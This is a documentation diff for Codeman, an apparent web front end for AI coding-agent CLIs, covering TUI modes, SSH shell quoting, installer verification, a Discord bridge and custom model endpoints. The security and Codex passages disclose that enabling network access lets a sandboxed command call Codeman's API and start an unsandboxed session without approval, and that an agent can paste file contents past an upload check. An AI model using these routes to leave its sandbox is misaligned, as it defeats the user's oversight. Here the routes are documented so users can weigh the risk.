 | Credentials      | `~/.pi/agent/auth.json` (OAuth subscriptions + API keys, auto-refresh), plus ~34 provider env vars with **no common prefix**. 0.84.1 adds `pi auth check` (auth preflight with optional credential output) |
-| TUI              | Default: **main screen with terminal-owned scrollback**. Since **0.84.0** an experimental fullscreen mode exists, selectable via `--tui-mode fullscreen` **or at runtime through `/settings`**; the default remains the main-screen mode |
+| TUI              | Default: **main screen with terminal-owned scrollback**. Since **0.84.0** an experimental fullscreen mode exists, selectable via `--tui-mode fullscreen` **or at runtime through `/settings`**; the default remains the main-screen mode. **SUPERSEDED (PR #771, 2026-11):** fullscreen is the default since pi 1.0.0, and `tuiMode: regular` keeps the main screen |
 | Providers        | 15+ (Anthropic, OpenAI, Google, Azure, Bedrock, Mistral, Groq, xAI, OpenRouter, Copilot, Baseten since 0.84.0, ...). OAuth subscription login via `/login` for six: ChatGPT Plus/Pro, Claude Pro/Max, GitHub Copilot, xAI, OpenRouter, Radius |
 | Permission model | **No permission prompts at all.** No built-in sandbox, no MCP (none planned), no sub-agents, no plan mode, no to-dos, no background bash. Tools run with the user's own permissions |
 | Trust model      | "Project trust" gates **loading** of project-local `.pi/` config/extensions/skills and **installing missing project packages**, not tool execution. Triggered only when the cwd (or an ancestor) contains `.pi/settings.json`, `.pi/extensions\|skills\|prompts\|themes`, `.pi/SYSTEM.md`/`.pi/APPEND_SYSTEM.md`, or `.agents/skills`; a bare `.pi/` directory does NOT prompt. Global `defaultProjectTrust`: `ask` (default) / `always` / `never` |
@@ -88,6 +94,12 @@ for pi, i.e. pi appears in none of them): the replay-side strip in `session-rout
 live-stream twin in `session.ts`, and the frontend `_sessionUsesServerMouseStrip()` in
 `terminal-ui.js` (usages `:3432`, `:3697`).
 
+**SUPERSEDED (PR #771, 2026-11):** pi still stays out of `isAltScreenStripMode()`, but it is no
+longer outside every strip: it takes the mouse strip (`isMuxMouseStripMode()`), which removes the
+alt-screen toggles and the mouse enables and keeps `3J`. Fullscreen is its default since 1.0.0, the
+enables are recorded as `cliMouseTracking`, and the wheel is forwarded from that flag, so it survives
+a tab switch or reload. A `/settings` flip of `tuiMode` is followed in both directions.
+
 ### 2.3 tmux required, no direct-PTY fallback, no per-mode configurator
 
 Same rule as the other external CLIs: `pi` mode throws if tmux is unavailable. Add a fourth block to
@@ -340,6 +352,7 @@ because the result lands in a `bash -c "..."` string):
 - `--tui-mode` (released in 0.84.0): never passed by Codeman. The main-screen default is the
   friendly case for the browser terminal, and fullscreen remains the user's own runtime choice via
   `/settings` (§2.2 is designed for that). `--use-theme` (still unreleased) likewise.
+  **SUPERSEDED (PR #771, 2026-11):** still never passed, but fullscreen is the default since pi 1.0.0.
 - `--name <name>` (`-n`): nice for `/resume` readability, but names contain spaces and would be the
   first user-controlled value needing real shell quoting in `buildSpawnCommand`. Defer.
 - `--no-session`: ephemeral mode fights respawn/resume. Defer.
@@ -671,7 +684,7 @@ follow-up surfaces in from the start (login-shell routing in Phase 1, availabili
 | ------------------------------------------------------------------- | ------------------------------------------------------------------------------ |
 | `pi` resolves to an unrelated binary                                | `pi --version` + semver-shape check in the resolver (§2.6); path and version shown in `/api/pi/status` |
 | Pi's TUI repaints in a way the browser terminal handles badly       | Test scrollback and repaint early (step 3 of §7); pi's default is main-screen with terminal-owned scrollback, which is the friendly case |
-| Fullscreen TUI mode (shipped 0.84.0, runtime-switchable)            | Already designed for: pi stays OUT of the strip list, so a user flipping `/settings` to fullscreen gets opencode-like alt-screen behavior, not corruption. §7 step 7 tests the flip explicitly |
+| Fullscreen TUI mode (shipped 0.84.0, runtime-switchable)            | Already designed for: pi stays OUT of the strip list, so a user flipping `/settings` to fullscreen gets opencode-like alt-screen behavior, not corruption. §7 step 7 tests the flip explicitly. **SUPERSEDED (PR #771, 2026-11):** fullscreen is the default since pi 1.0.0 and pi now takes the mouse strip, see §2.2 |
 | The buffer local-echo overlay fights pi's live composer             | §2.10: explicit E2E gate (§7 step 4) with the one-line `'off'` fallback; predictive echo for pi is a tracked follow-up, not a v1 blocker |
 | Pi moves fast (pre-1.0; 9 releases in the 7 weeks before 0.84.1)    | Keep the flag surface small; every flag validated and droppable; nothing pinned in the Dockerfile beyond the `--no-cache` rebuild cadence. Live example of the hazard: `--tui-mode` went from main-only docs to released between the two drafts of this plan |
 | Docker image grows                                                  | Pi is an npm package; the layer is modest next to the ~190MB `agy` binary      |

docs/pi-integration.md

@@ -88,9 +88,15 @@ bypass, and project trust is a decision the person at the terminal makes.
 - **`--api-key`.** Never. It would put a provider secret on the spawn command
   line, visible in `ps`, tmux server state and logs. `PI_*` overrides go through
   socket-scoped `tmux setenv` for exactly this reason.
-- **`--tui-mode`.** Pi's default main-screen TUI is the friendly case for a
-  browser terminal. The fullscreen mode (0.84.0) stays your own runtime choice via
-  `/settings`.
+- **`--tui-mode`.** Which TUI you get stays your choice, in pi's `tuiMode` setting.
+  Fullscreen is the default since pi 1.0.0: the wheel and clicks reach pi, and because
+  Codeman strips pi's mouse enables, a drag selects text in the browser rather than
+  using pi's own selection or scrollbar drag. With **Wheel Scrolls Local History** on,
+  the wheel does nothing in fullscreen pi: the setting pins it to a local buffer pi
+  leaves empty, and pi has no paging fallback. `tuiMode: regular`, the default below
+  1.0.0, is inline with terminal-owned scrollback and emits no mouse enables at all. A
+  pi from 0.84.0 set to fullscreen enables mouse tracking the same way the 1.0.0
+  default does, and Codeman treats it the same.
 - **`--name`, `--no-session`, `-p`/`--print`, `--mode json`, `--mode rpc`,
   `--tools`/`--exclude-tools`, `-e`/`--extension`, `--skill`,
   `--system-prompt`.** Tracked as follow-ups in the plan doc.
@@ -215,7 +221,7 @@ a Docker case only sees that container's own history.
 ## Remote SSH cases
 
 `pi` mode is routed through an interactive login shell
-(`exec "$SHELL" -i -l -c 'pi'`), because sshd's remote-command PATH does not
+(`remoteLoginShellCommand('pi')`), because sshd's remote-command PATH does not
 include npm's global bin on most hosts. Per-session config and `envOverrides` do
 not cross ssh and are rejected rather than silently ignored; use the per-host
 command override instead.

docs/releasing.md

@@ -59,4 +59,4 @@ A security notice is a sticky warning card about something outside Codeman that
 - `title` (optional) is the card's bold line; keep it short. `link.url` must be https. `i18n` is optional; a missing string falls back to the English one.
 - Run `npx prettier --write src/web/public/security-notices.json` and `npm test -- test/security-notices.test.ts`, which validates the file (unique ids, real dates, https links, every `cli` a stock registry id, a zh-CN title wherever there is an English one).
 
-**Retiring one**: let it expire, or delete the entry once it has. Removing it early stops it on the next release only; browsers already showing it keep the card until they close it or reload.
+**Retiring one**: let it expire, or delete the entry once it has. Removing it early stops it on the next release only; browsers already showing it keep the card until they close it or reload. Until then a fresh install gets it too, because a new browser has no seen list, so give an `expires` no later than the warning stays useful. An empty list (`{ "notices": [] }`) is a valid file.

docs/remote-sessions.md

@@ -91,7 +91,7 @@ builds the command that launches (or **reattaches** to) the remote session:
 
 ```
 ssh -o BatchMode=yes -t <connection-args> user@host \
-  'tmux -L codeman-remote new-session -A -s codeman-ssh-<id8> -c <remotePath> "cd <remotePath> && exec <cli>" \; \
+  'tmux -L codeman-remote new-session -A -s codeman-ssh-<id8> -c <remotePath> /bin/sh -c <pane-command> \; \
      set -t codeman-ssh-<id8> status off \; set -t codeman-ssh-<id8> mouse off \; \
      set -t codeman-ssh-<id8> prefix C-q \; set -s escape-time 0 \; \
      set -t codeman-ssh-<id8> window-size latest \; \
@@ -100,6 +100,9 @@ ssh -o BatchMode=yes -t <connection-args> user@host \
      set -t codeman-ssh-<id8> remain-on-exit failed'
 ```
 
+`<pane-command>` is `cd <remotePath> && exec <cli>`, shell-quoted as one token. With a
+`commands.*` override that token stands alone, with no `/bin/sh -c` in front of it.
+
 Key points:
 
 - **`new-session -A -s codeman-ssh-<id8>`** = attach-if-exists-else-create, so a
@@ -133,6 +136,45 @@ Key points:
   **login shell**, not the agent.
 - The **whole tmux invocation is a single shell-quoted ssh argument**, and the
   pane command is independently quoted, so a `remotePath` with spaces is safe.
+- **That argument reaches the far end verbatim** (#760): the launch, an adopted
+  session's ssh attach included, goes to the local `bash -c` in single quotes, so
+  `$HOME`, `$PATH` and `$SHELL` are the remote user's. In double quotes the local `sh` expanded them first, which sent
+  this host's home and PATH to the remote. ⚠️ Every `$` in a `commands.*` override
+  now expands on the far end too, and a bare `$VAR` in an `extraSshOptions` value
+  reaches `ssh` as those literal characters at launch, as it always did in the link
+  and quick-start tmux probes. A Docker launch is verbatim as well, so a bare `$VAR`
+  in `extraCreateArgs`/`extraExecArgs` reaches `docker` the same way. Write those
+  values out.
+- **tmux picks the shell by argument count** (measured on 3.4): one argument runs
+  through the remote `default-shell`, two or more are exec'd directly. Codeman's own
+  pane command is POSIX, so it goes to `/bin/sh -c` as separate arguments, and a fish
+  login shell (or a `default-shell` set in the remote `~/.tmux.conf`) never parses it:
+  fish refuses `${SHELL:-/bin/sh}` with status 127, which is a dead pane. A `commands.*`
+  override stays one argument on purpose, since it is written for the user's own shell
+  (`source` and `[[` work in bash and zsh and die under a dash `/bin/sh`).
+- **Login shells**: POSIX shells and fish work, and csh and tcsh do within the limits
+  below. nushell and elvish cannot run the PATH bootstrap at all, so no override
+  helps. A `remotePath` holding an apostrophe does not start under fish.
+- **The login flags are picked on the far end**, the only place the shell is known:
+  the pane command passes `-i -l` unless `${SHELL##*/}` is `csh` or `tcsh`, which get
+  neither. tcsh honors `-l` only as its one flag and exits on `-i -l -c`, `-l -c` and
+  `-i -l` (measured on 6.24), so a tcsh session reads `.tcshrc` and not `.login`. The
+  text is one brace group, so `cd <path> && { …; }` starts nothing when the `cd` fails.
+- **The login shell still parses the ssh line itself**, as it did in 1.48.0, so tcsh
+  has two more limits. It has no `export`, so the PATH bootstrap only prints an error
+  there, and `tmux` and the CLI have to be on a PATH that `.tcshrc` sets. And the tmux
+  prerequisite probe's `command -v tmux` needs a `command` executable: macOS and the
+  BSDs ship one, Debian and Ubuntu do not, so linking a tcsh host there is refused
+  with `could not verify tmux`.
+- **File reads never leave a quote for the login shell** (`remoteLoginShellLine()` in
+  `remote-files.ts`). Previews, downloads, folder grids and Edit history are multi-line
+  POSIX scripts holding a path someone else may have named. fish reads `\'` inside
+  single quotes as a quote, so the shell-quoted text flips in and out of quotes, and
+  csh and tcsh end a command at a newline even inside quotes, so both ran part of a path
+  as a command (measured). The script therefore crosses the login shell as one word of
+  `printf` text with those bytes in octal, and only `sh` ever reads it. Plain csh caps
+  a word at about 8 KB and answers `Word too long` for a larger read; tcsh has no such
+  cap.
 - Connection options come from the **same `buildSshConnectionArgs(remote)`** as
   the prereq probe; `-t` is inserted right after `ssh -o BatchMode=yes`,
   preserving historical token order.
@@ -176,6 +218,12 @@ when the tab closes.
   session. `remoteSessionName` holds its existing tmux name. Closing the tab
   **detaches**, never kills.
 
+⚠️ This covers `codeman-*` sessions on the `codeman-remote` socket, the ones another
+Codeman runs. A tmux session a HUMAN started on the host is a separate path:
+`GET /api/mux/foreign?remote=1` finds it and `POST /api/sessions/adopt` wraps it, with
+the connection on `Session.adopt.remote` and `session.remote` undefined. Closing that tab
+detaches too. See `docs/architecture-invariants.md#adopted-foreign-tmux-sessions`.
+
 ### Discovery
 
 `listRemoteCodemanSessions(host)` lists the remote's `codeman-*` sessions:
@@ -419,8 +467,9 @@ still has it.
 
 **Not available over ssh (by choice, not by accident):** editing a file (writes would
 need SFTP; `docs/file-viewer-edit-plan.md` §6), office-document previews and
-generated thumbnails (both need the bytes on the server's disk — no remote file is ever
-spilled onto the server), the file-tree/picker listings, and `tail-file`. Those routes
+generated thumbnails (both need the bytes on the server's disk: no remote file is ever
+spilled onto the server, the Edit history store's diffs being the one exception), the
+file-tree/picker listings, and `tail-file`. Those routes
 are still local-only, so with an `sshfs` mount in place they read the mounted copy —
 the two views can only disagree when that mount is stale. Docker cases are unaffected:
 their workspace is bind-mounted at the same absolute path, so local `fs` reads real bytes.

docs/security-architecture.md

@@ -483,6 +483,15 @@ transient mount blip at launch poisons tmux's long‑lived cwd and crashes
   never executes. Large hand‑formatted/generated assets (`app.js`, the gesture
   bundle, vendored libs) are `.prettierignore`d for the style pass, but the NUL +
   syntax checks still cover them.
+- **Installer downloads without a package manager:** on the no-admin route
+  (`docs/wiki/Installation.md`) `install.sh` fetches and runs software no system
+  package manager vetted, each checked before it is unpacked or run. The Node.js
+  tarball is checked against the `SHASUMS256.txt` fetched from nodejs.org over the
+  same TLS connection, which proves integrity, not independent provenance: the
+  signature on that file is not checked. The tmux build is checked against a
+  SHA-256 pinned per platform in the installer. `install.sh cloudflared` takes the
+  latest cloudflared release into `~/.local/bin` unverified, as the system routes
+  take the same release, because Cloudflare publishes no checksum file.
 
 ---
 
@@ -558,7 +567,7 @@ Full feature guide: [`docker-cases.md`](docker-cases.md).
 - **It strictly improves network posture.** It removes the single shared `CODEMAN_PASSWORD` and gives each person a revocable credential; a non‑loopback bind and the tunnel‑enable guard are satisfied by "multi‑user with ≥1 enabled user" without a shared password.
 - **Auth is a parallel branch** (`middleware/auth.ts`) that leaves the single‑user path untouched: per‑user scrypt verify (`timingSafeEqual`, timing‑equalized against user enumeration), identity‑carrying cookies, a per‑username failure bucket (a botnet can't brute one account across IPs; one NATed user can't lock out the rest), and a `mustChangePassword` lockbox. The hook‑secret loopback bypass, host guard, and Origin/CSRF guard are unchanged (hooks authenticate the INSTANCE, not a user).
 - **Ownership is enforced server‑side only** and fails closed: `req.authUser` (a synthetic admin in single‑user), `findSessionOrFail` returns NOT_FOUND (never 403) for a foreign session, list/SSE/WS/file‑preview/search all filter by `session.owner`, and SSE routing defaults session‑scoped events to their owner (unresolved owner → withheld). The load‑bearing rule is **non‑admin `workingDir` confinement**: a non‑admin's session/one‑shot working dir must realpath‑resolve inside `~/codeman-users/<name>/cases`, checked BEFORE any disk write.
-- **Privileged actions are a one‑bit grant** (`canBypassPermissions`, default off): only granted users (and admins) get `--dangerously-skip-permissions` (others are silently downgraded to `--permission-mode auto`), shell‑mode sessions, cron `launchCommand`, and other CLIs' bypass flags. Machine‑level resources (remote/Docker host definitions, tunnel, self‑update, settings writes) are admin‑only.
+- **Privileged actions are a one‑bit grant** (`canBypassPermissions`, default off): only granted users (and admins) get `--dangerously-skip-permissions` (others are silently downgraded to `--permission-mode auto`), shell‑mode sessions, cron `launchCommand`, other CLIs' bypass flags, and Codex's **Allow network access** (`networkAccess`, forced off for a user without the grant, since it lets a command in Codex's sandbox call Codeman's API and start a session outside that sandbox). Machine‑level resources (remote/Docker host definitions, tunnel, self‑update, settings writes) are admin‑only.
 - **Clone Repo does not lend the server's git sign-in to non-admins.** A clone writes only inside the caller's own case space, so it is not admin-gated, but the server account's git credential helpers (the Docker image's opt-in `gh`/`az` helpers, or any `gh auth setup-git`) are shared by every user. A non-admin's clone and preflight therefore run with `git -c credential.helper=`, which empties the helper list including the URL-scoped entries (`cloneWithoutCredentialHelpers` in `case-routes.ts`, argv pinned in `test/git-clone.test.ts`). This closes the Clone Repo path only: the account's SSH keys still apply to an `ssh://` URL, and a non-admin's agent sessions run as the same account, consistent with the first bullet above. Docker cases are a second route to the same sign-in: with `CODEMAN_AGENT_IMAGE_INSTALL_GH`/`_AZ` on, a non-admin's Docker case with credential seeding on (the default) receives a copy of the server account's `gh`/`az` sign-in, exactly as it receives the Claude and Codex credentials.
 - **Admin actions are audited** append‑only to `~/.codeman/admin-audit.jsonl` (acting admin, action, target, IP). Passwords set by an admin create/reset are one‑time (returned once, force change). Under Basic auth, `logout` only truly ends QR‑issued sessions — to lock someone out, disable the account or reset the password (a proper login form is a deferred Phase 6).
 
@@ -582,6 +591,7 @@ Opt-in and off by default: the server POSTs the Web Push events (permission prom
 
 - **A second server-side outbound channel through the web-tab egress guard (§10b).** Delivery goes through `webviewFetch`, so link-local and cloud-metadata targets are refused at save time and again on the RESOLVED address at connect time; redirects are not followed (`redirect: 'manual'`) and each send is bounded by a 5 s timeout. Loopback and RFC1918 stay allowed on purpose (a self-hosted ntfy is the point), so **Send test** works as a blind reachability probe (status, refused or timed out, never a response body) for whoever may call it. Web tabs already give that caller full LAN reach with bodies, so nothing new is exposed.
 - **The URL is a bearer secret** (anyone holding a Slack or Discord webhook URL can post as it). It lives in `~/.codeman/webhook.json` (0600, tmp+rename), is kept out of `settings.json` (which every logged-in user reads through `GET /api/settings`), is never returned (`GET /api/webhook` gives scheme + host only), and never appears in a log line, a delivery result or an error message.
+- **Discord bridge** (`src/discord-bridge.ts`, [setup](discord-bridge.md)): the bot token lives in `~/.codeman/discord.json` (0600, tmp+rename) and is never returned by the Discord routes, logged or put in an error, and the attachment, folder and download routes refuse the file. A session whose folder is the home directory can still read it through its own file viewer, which serves that workspace without the blocklist. Inbound replies are typed into a session only from `allowedUserIds`, in the configured guild, inside a thread the bridge created; anything else is dropped unread. A reply becomes one printable line plus Enter, capped at 1000 characters and one per second per tab. Posts send `allowed_mentions` limited to the allowlisted ids, so agent output cannot ping a server. **Files:** an attachment is fetched only from Discord's own HTTPS hosts (no redirects followed), at most 5 per reply and 8 MB each, saved 0600 under `<tab folder>/.codeman-discord/` with the name reduced to `[A-Za-z0-9._-]`; a file a CLI sends must be a regular file whose real path (symlinks followed) lies inside its own tab's folder and is not on the attachment blocklist (`isBlockedAttachmentPath`, since a tab's folder can be the home directory), which stops a sensitive file being uploaded by mistake, and remote sessions send and receive none. A received file is untrusted content to whatever opens it. **What the checks do not stop:** the agent runs as the same OS user, so the path check prevents accidental uploads, not a determined agent that pastes a file's contents into the message. **What leaves the machine:** a permission or question alert sends the rendered screen (whatever the agent printed), and a finished turn or an error sends the CLI's whole last message, read from its transcript (up to 8 posts of 1,900 characters). `idle_prompt` is a warning, so with the default scope every Claude turn left unanswered for a minute is posted, and with **Which events** set to Everything every turn end is; treat the Discord server as holding that output. **Multi-user:** the bridge is one allowlist for the whole server, so an allowlisted Discord account can type into every user's sessions; only an admin can configure it. **Startup hint:** a fixed text (no user input) is added to Claude's system prompt; no other CLI is sent it. The bridge only dials out (REST and the gateway WebSocket), so it needs no inbound exposure. A Discord account on the allowlist can drive agents that run shell commands: it needs 2FA.
 - **It carries session data to a third party.** Titles and bodies include session names, tool names and error text, all agent- or user-controlled, so Discord gets `allowed_mentions: { parse: [] }` and Slack's `& < >` are escaped: agent output cannot ping a channel. In multi-user mode all three routes are admin-only and the channel is instance-wide: it receives every user's session events, the same reach an admin's own Web Push has, which means non-admins' session details leave the box at the admin's choice.
 
 ---

docs/wiki/Agent-CLIs.md

@@ -140,8 +140,24 @@ Explicit `codexConfig.model` / `codexConfig.reasoningEffort` values take precede
 Custom model endpoints, Docker containers and remote host command overrides keep their own settings.
 Changing a default affects new sessions and does not edit Codex configuration files.
 
-Two behaviours that are deliberate and worth knowing:
+**Allow network access** reaches the same local launches. It opens the network only where
+Codex runs the folder in its workspace-write sandbox and does not change Codex's sandbox
+mode: a folder Codex runs read-only keeps the network closed, and Codex asks per command.
+With it on, commands in the sandbox can call Codeman's API, which can start a session
+outside the sandbox with no approval prompt, even when a password is set. See
+[The Codeman Skill](Codeman-Skill#when-the-agent-is-codex) and
+[Security](Security#what-codeman-does-not-protect-against).
 
+Behaviours that are deliberate and worth knowing:
+
+- **Each local session runs its own app server.** Codex 0.162 and later otherwise hands
+  every client's commands to one shared background server, which runs them with the
+  environment of whichever session started it, and a server left by another Codex version
+  stops every launch on a dialog. So Codeman starts a local Codex 0.162 or later with
+  `--no-daemon`. The trade-off, going by Codex's own help text: `codex agents` browses the
+  sessions on that shared server and `codex remote-control` manages it, so do not expect
+  either to see a session started this way. Remote and Docker launches do not get the
+  flag, and neither does a local launch whose Codex version Codeman could not read.
 - **Predictive echo instead of buffered echo.** Codex's composer reacts to every keystroke,
   a `/` opens a live-filtering picker, arrows edit server-side state. Buffering keystrokes
   until Enter starved it, so Codex paints each keystroke at the predicted cell while the

docs/wiki/Codeman-Skill.md

@@ -140,19 +140,25 @@ message a worker directly instead of typing into its terminal.
 
 Two things to know:
 
-- Codex's default sandbox blocks network access, even to this machine, so turn on
-  **Allow network access** (App Settings, Codex) for a Codex session that should start and
-  drive others. It applies to Codex sessions started after you switch it on, and it keeps
-  Codex's sandbox and approval prompts. It opens the network only where Codex runs the
-  folder in its workspace-write sandbox, which is what Codex does for a project you
-  trusted. In a folder Codex runs read-only (a new case that is not a git repository, for
-  one), Codex asks you to approve each call to Codeman instead; `/permissions` in Codex
-  switches that session to workspace-write. **Bypass approvals and sandbox** works
-  everywhere, but removes the sandbox and the approval prompts.
+- Codex's default sandbox blocks network access, even to this machine, so a Codex session
+  needs **Allow network access** (App Settings, Codex) before it can start and drive
+  others. The setting is app-wide: it applies to every local Codex session started after
+  you switch it on, not only the ones you mean to orchestrate. It also has a cost: commands
+  in Codex's sandbox can then call Codeman's API, which can start a session outside the
+  sandbox with no approval prompt, even when a password is set, so the sandbox no longer
+  contains a prompt-injected command. See
+  [Security](Security#what-codeman-does-not-protect-against). It opens the network only
+  where Codex runs the folder in its workspace-write sandbox, which is what Codex does for
+  a project you trusted. It does not change Codex's sandbox mode: a folder Codex runs
+  read-only (a new case that is not a git repository, for one) keeps the network closed,
+  and Codex asks you to approve each call to Codeman. Trust the project in Codex, or use `/permissions` in
+  Codex for that session, to get workspace-write there. **Bypass approvals and sandbox**
+  works everywhere, but removes the sandbox and the approval prompts.
 - Codex 0.162 runs its commands in a shared background process, whose Codeman variables can
-  belong to the session that started it. Codeman starts Codex 0.162 and later with
-  `--no-daemon`, so each session runs its own; with an older Codex the skill notices and
-  says so instead of acting.
+  belong to the session that started it. Codeman starts a local Codex 0.162 or later with
+  `--no-daemon`, so each session runs its own. A remote or Docker session does not get the
+  flag, and neither does a local one whose Codex version Codeman could not read; there,
+  and with an older Codex, the skill notices and says so instead of acting.
 
 OpenCode and DeepSeek Harness need nothing extra: in their default setup neither keeps its
 shell commands off the network, so the skill works there as soon as it is injected.

docs/wiki/Config-Backups.md

@@ -15,6 +15,7 @@ A fixed list of files from the data directory (`~/.codeman/`, or the directory o
 | `clis.json` | CLI enable/disable and custom CLI entries. |
 | `custom-model-hosts.json` | Saved custom model endpoints. **Holds API keys.** |
 | `webhook.json` | Webhook notification target. |
+| `discord.json` | Discord bridge settings. **Holds a bot token.** |
 | `intents.json` | Read My Mind per-case profiles. |
 | `linked-cases.json` | Registered cases. |
 | `remote-hosts.json`, `remote-cases.json`, `docker-hosts.json`, `docker-cases.json` | Remote SSH and Docker overlay configuration. |
@@ -188,15 +189,15 @@ that are the same are listed on one line. A file that is not JSON shows only tha
 a file with more than 200 changes is cut short, so use the files themselves for a full diff. The
 self-rewritten fields listed under "When a backup is made" are not counted as changes.
 
-**Credential values are never shown.** `.env`, `users.json`, `push-keys.json`, `webhook.json` (the
-URL is a bearer secret) and `intents.json` (captured prompts) list only the names that changed, and in every other file a key that looks like a token, secret, password,
+**Credential values are never shown.** `.env`, `users.json`, `push-keys.json`, `webhook.json` (the URL is a bearer secret), `discord.json` (the
+bot token) and `intents.json` (captured prompts) list only the names that changed, and in every other file a key that looks like a token, secret, password,
 credential or key is shown as "changed" without its value. URL values lose any `user:password@`,
 query and fragment.
 
 ## Security
 
 - Some tracked files carry credentials (`.env`, `users.json`, `custom-model-hosts.json`,
-  `push-keys.json`, `webhook.json`). Each backup folder is mode `0700` and its files `0600`, so the default
+  `push-keys.json`, `webhook.json`, `discord.json`). Each backup folder is mode `0700` and its files `0600`, so the default
   location exposes nothing the data directory does not already.
 - **A custom folder is your decision.** Putting it on a shared drive, a synced folder or a
   network share copies those credentials there, with whatever permissions that location has.

docs/wiki/Core-Concepts.md

@@ -22,11 +22,11 @@ Codeman-side configuration:
 Three ways to get one, all under **New or link a case…** at the bottom of the case picker
 (the case dropdown in the bottom toolbar; on a phone, the case sheet's **Create New Case**):
 
-| How               | Result                                                                                                                                                                                                              |
-| ----------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| **Create New**    | A fresh `~/codeman-cases/<name>` with a scaffolded `CLAUDE.md`, or with **Create in a custom folder**, a new folder inside a parent you choose, scaffolded the same way and registered in place like a linked case. |
-| **Clone Repo**    | A repo cloned into `~/codeman-cases/<name>` and registered as a case. Private repos need this machine's own git credentials (see below).                                                                            |
-| **Link Existing** | An existing folder anywhere on disk, registered in place. Nothing is copied or moved.                                                                                                                               |
+| How               | Result                                                                                                                                                                                                                |
+| ----------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| **Create New**    | A fresh `~/codeman-cases/<name>` with a scaffolded `CLAUDE.md`, or with **Create in a custom folder**, a new folder inside a parent you choose, scaffolded the same way and registered in place like a linked case.   |
+| **Clone Repo**    | A repo cloned into `~/codeman-cases/<name>` (or, with **Clone into a custom folder**, into `<parent folder you choose>/<name>`, which must be empty or not exist yet) and registered as a case. Private repos need this machine's own git credentials (see below). |
+| **Link Existing** | An existing folder anywhere on disk, registered in place. Nothing is copied or moved.                                                                                                                                 |
 
 Linked cases keep living where they are. Deleting a case in Codeman removes the
 registration, and for a linked case that is all it removes.

docs/wiki/Custom-Model-Endpoints.md

@@ -27,14 +27,20 @@ hosts — these are machine-level infra, not a per-user setting.
 shows up without another manual click of **Discover**. One endpoint being unreachable on a
 given cycle (powered off, wrong network) never blocks the others from refreshing.
 
-**Context length is picked up automatically where it can be, safely.** Against a
-llama.cpp/llama-swap server, discovery also learns each _currently loaded_ model's real
-context window and applies it to the launched session (Claude Code today — see below), so
-the harness stops assuming a large default window for a model name it doesn't recognise and
-overflowing a much smaller real one. It's deliberately never probed for a model that isn't
-already loaded, since asking a llama-swap server about an unloaded model can trigger an
-actual, slow model swap as a side effect — a model just not currently loaded keeps whatever
-context length an earlier cycle already learned for it instead.
+**Context length is picked up automatically where it can be, safely.** Every model's own
+listing entry is read for a stated context figure (`context_length`, then `context_window`,
+which current llama.cpp, llama-swap and gateway-style servers state to varying degrees);
+against a llama-swap server the stronger figures from its launch command and from llama.cpp's
+`/props` probe win where they exist, and those probes only ever run for a model the server
+already reports loaded, since asking about an unloaded model can trigger an actual, slow model
+swap as a side effect. A model that states no figure keeps whatever an earlier cycle learned:
+the stored figure always beats the endpoint's **Default context length** field
+(`modelContextLengths[id] ?? defaultContextLength`), which only applies where no figure was
+ever learned (that number is the model's whole window, never a per-slot figure). A model
+neither covers simply gets no override, never a guess. The window is applied to the launched session by the harnesses
+that can take it: Claude Code today (see below), OpenCode as the model's context limit, and
+Codex as a `model_context_window` entry in its generated config file, which also sets Codex's
+own auto-compact point via `model_auto_compact_token_limit` at 75% of the window.
 
 ## Running a session against one
 
@@ -48,15 +54,20 @@ pointed at.
 
 **Which model it uses depends on how many the endpoint has discovered.** With exactly one,
 the session launches straight away on that model — nothing to choose. With two or more, a
-small dialog asks which one to use for this launch before starting the session; the
+small dialog asks which one to use for this launch before starting the session; a search box
+at the top narrows a long list with a case-insensitive substring match, so a server hosting
+hundreds of models stays usable. The
 endpoint's default model, if set, is marked but not auto-picked, so a launch can deliberately
 use a different one without changing the saved default. The list is not raw discovery order
 either: the model llama-swap reports loaded and ready is moved to the top and tagged
-**Currently loaded**, and when nothing is loaded, the model you last launched on this harness
-and endpoint pair is moved up instead and tagged **Last used** (a per-device browser value, so
-another device starts from its own history). The default model keeps its own **Default** pill
-in both cases, and nothing is ever auto-chosen: the promoted row is simply the one under your
-thumb.
+**Currently loaded**. When nothing is reported loaded, the model one of your own running
+sessions is using on that endpoint is moved up instead and tagged **In use by a session** (it
+beats **Last used**, never **Currently loaded**), and failing that the model you last launched
+on this harness and endpoint pair is moved up and tagged **Last used** (a per-device browser
+value, so another device starts from its own history). With none of those, a line under the
+search box says nothing is marked, so the plain list is not mistaken for an answer. The default
+model keeps its own **Default** pill in every case, and nothing is ever auto-chosen: the
+promoted row is simply the one under your thumb.
 
 **For opencode, Codex, Gemini, Pi, Grok, DeepSeek, OMP and GitHub Copilot, picking an entry launches
 straight onto the endpoint** — no restart, because the endpoint is applied before the
@@ -186,7 +197,7 @@ read is treated as one slot, never guessed.
 | **Claude Code, opencode, Pi, Grok, OMP** | Verified end-to-end against a real local server.                                                                                                                                                                     |
 | **Codex**                                | Config is correct, and plain chat can work against a server that speaks the Responses API — but a real tool-call attempt comes back as inert text instead of running, so it's still not usable for real coding work. |
 | **Gemini**                               | Fails with an auth error gemini-cli raises once redirected. Unresolved; don't rely on it yet.                                                                                                                        |
-| **DeepSeek**                             | The original 404 is root-caused and fixed (DeepSeek Harness's own code was missing a `/v1` most local servers require) — not yet re-run against a real `dsh` install to confirm end-to-end.                          |
+| **DeepSeek**                             | Verified end-to-end against a real `dsh` install (dsh 0.1.1-rc.2, dsh-TUI 0.10.0-beta.1): the original 404 is root-caused and fixed, and the redirect is now a generated per-session patch file whose prompt reaches the endpoint as `POST /v1/chat/completions`. Such a session does not carry over your home-level `cordis.patch.yml`, your own `llm-pi-ai` providers, or a profile-level `effort`/`preset`. |
 | **Antigravity**                          | No known custom-endpoint mechanism at all. Not offered.                                                                                                                                                              |
 
 Which harnesses show up in the Run-menu picker is read live off Codeman's own CLI registry,
@@ -202,6 +213,10 @@ missing entry is the more current answer.
 - **No button to un-point a session from the UI yet.** Clearing back to native cloud is an
   HTTP call (`POST .../custom-model {"clear": true}`) or deleting the session; the settings
   panel manages saved endpoints, not what a running session is currently pointed at.
+  A clear, or a switch to another endpoint, gives the session back what it had set itself under
+  a key the endpoint replaced, such as its own `DSH_HOME` or `CLAUDE_CONFIG_DIR`. If Codeman
+  restarted in between, only the home directory comes back, and an own `DSH_HOME`, `CODEX_HOME`
+  or `GROK_HOME` only when the endpoint was picked before that restart.
 - **Nothing is shared with your real cloud credentials.** The endpoint's own key, if any,
   never touches your Anthropic/OpenAI/Google login — a custom endpoint is a separate,
